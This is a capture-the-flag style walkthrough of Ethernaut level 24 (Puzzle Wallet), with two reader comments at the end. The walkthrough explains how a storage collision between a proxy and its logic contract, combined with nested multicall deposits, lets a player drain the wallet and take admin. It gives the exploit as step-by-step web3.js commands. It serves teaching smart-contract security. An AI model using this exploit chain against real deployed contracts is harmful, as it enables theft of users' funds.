This is the level 24 of OpenZeppelin Ethernaut web3/solidity based game.
Pre-requisites
- delegatecall in Solidity
- Proxy Patterns
Hack
Given contracts:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
player
has to hijack the proxy contract, PuzzleProxy
by becoming admin
.
The vulnerability here arises due to storage collision between the proxy contract (PuzzleProxy
) and logic contract (PuzzleWallet
). And storage collision is a nightmare when using delegatecall
. Let's bring this nightmare to reality.
Note that in proxy pattern any call/transaction sent does not directly go to the logic contract (PuzzleWallet
here), but it is actually delegated to logic contract inside proxy contract (PuzzleProxy
here) through delegatecall
method.
Since, delegatecall
is context preserving, the context is taken from PuzzleProxy
. Meaning, any state read or write in storage would happen in PuzzleProxy
at a corresponding slot, instead of PuzzleWallet
.
Compare the storage variables at slots:
slot | PuzzleWallet - PuzzleProxy
----------------------------------
0 | owner <- pendingAdmin
1 | maxBalance <- admin
2 | .
3 | .
Accordingly, any write to pendingAdmin
in PuzzleProxy
would be reflected by owner
in PuzzleWallet
because they are at same storage slot, 0!
And that means if we set pendingAdmin
to player
in PuzzleProxy
(through proposeNewAdmin
method), player
is automatically owner
in PuzzleWallet
! That's exactly what we'll do. Although contract
instance provided web3js
API, doesn't expose the proposeNewAdmin
method, we can alway encode signature of function call and send transaction to the contract:
functionSignature = {
name: 'proposeNewAdmin',
type: 'function',
inputs: [
{
type: 'address',
name: '_newAdmin'
}
]
}
params = [player]
data = web3.eth.abi.encodeFunctionCall(functionSignature, params)
await web3.eth.sendTransaction({from: player, to: instance, data})
player
is now owner
. Verify by:
await contract.owner() === player
// Output: true
Now, since we're owner
let's whitelist us, player
:
await contract.addToWhitelist(player)
Okay, so now player
can call onlyWhitelisted
guarded methods.
Also, note from the storage slot table above that admin
and maxBalance
also correspond to same slot (slot 1). We can write to admin
if in some way we can write to maxBalance
the address of player
.
Two methods alter maxBalance
- init
and setMaxBalance
. init
shows no hope as it require
s current maxBalance
value to be zero. So, let's focus on setMaxBalance
.
setMaxBalance
can only set new maxBalance
only if the contract's balance is 0. Check balance:
await getBalance(contract.address)
// Output: 0.001
Bad luck! It's non-zero. Can we somehow take out the contract's balance? Only method that does so, is execute
, but contract tracks each user's balance through balances
such that you can only withdraw what you deposited. We need some way to crack the contract's accounting mechanism so that we can withdraw more than deposited and hence drain contract's balance.
A possible way is to somehow call deposit
with same msg.value
multiple times within the same transaction. Hmmm...the developers of this contract did write logic to batch multiple transactions into one transaction to save gas costs. And this is what multicall
method is for. Maybe we can exploit it?
But wait! multicall
actually extracts function selector (which is first 4 bytes from signature) from the data and makes sure that deposit
is called only once per transaction!
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
We need another way. Think deeper...we can only call deposit
only once in a multicall
...but what if call a multicall
that calls multiple multicall
s and each of these multicall
s call deposit
once...aha! That'd be totally valid since each of these multiple multicall
s will check their own separate depositCalled
bools.
The contract balance currently is 0.001 eth
. If we're able to call deposit
two times through two multicall
s in same transaction. The balances[player]
would be registered from 0 eth
to 0.002 eth
, but in reality only 0.001 eth
will be actually sent! Hence total balance of contract is in reality 0.002 eth
but accounting in balances
would think it's 0.003 eth
. Anyway, player
is now eligible to take out 0.002 eth
from contract and drain it as a result. Let's begin.
Here's our call inception (calls within calls within call!)
multicall
|
-----------------
| |
multicall multicall
| |
deposit deposit
Get function call encodings:
// deposit() method
depositData = await contract.methods["deposit()"].request().then(v => v.data)
// multicall() method with param of deposit function call signature
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
Now we call multicall
which will call two multicalls
and each of these two will call deposit
once each. Send value of 0.001 eth
with transaction:
await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})
player
balance now must be 0.001 eth * 2
i.e. 0.002 eth
. Which is equal to contract's total balance at this time.
Withdraw same amount by execute
:
await contract.execute(player, toWei('0.002'), 0x0)
By now, contract's balance must be zero. Verify:
await getBalance(contract.address)
// Output: '0'
Finally we can call setMaxBalance
to set maxBalance
and as a consequence of storage collision, set admin to player
:
await contract.setMaxBalance(player)
Bang! Wallet is hijacked!
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (2)
I am a little confused on this level. I thought that the contract object loaded in the browser console was the PuzzleWallet contract, because when I look at its ABI, there are all the functions from that contract and none from the PuzzleProxy. And the PuzzleWallet does not inherit from any other contract. I don't understand how it is possible to call proposeNewAdmin() function from the PuzzleProxy contract, if it does not inherit from PuzzleProxy...
On the other hand, if the contract object in the browser console is the PuzzleProxy, why there are all the functions from the PuzzleWallet in the ABI and none from the PuzzleProxy?
Appreciate very much if anyone coould help me! Thanks!
Hey Eduardo. The contract loaded is PuzzleProxy. So you could encode data that corresponds to calling
proposeNewAdmin()
and send it to that address.And yes, there are all the functions from PuzzleWallet in ABI instead of PuzzleProxy even though address is of the proxy because ABI of PuzzleWallet is purposefully loaded. This is done because most of the time you want to interact with logic/implementation (PuzzleWallet) contract in real application scenarios not the proxy itself and having ABI of implementation contract is convenient, otherwise you'd have to manually encode function calls to implementation contract. The proxy receives the call & forwards it to the implementation anyway.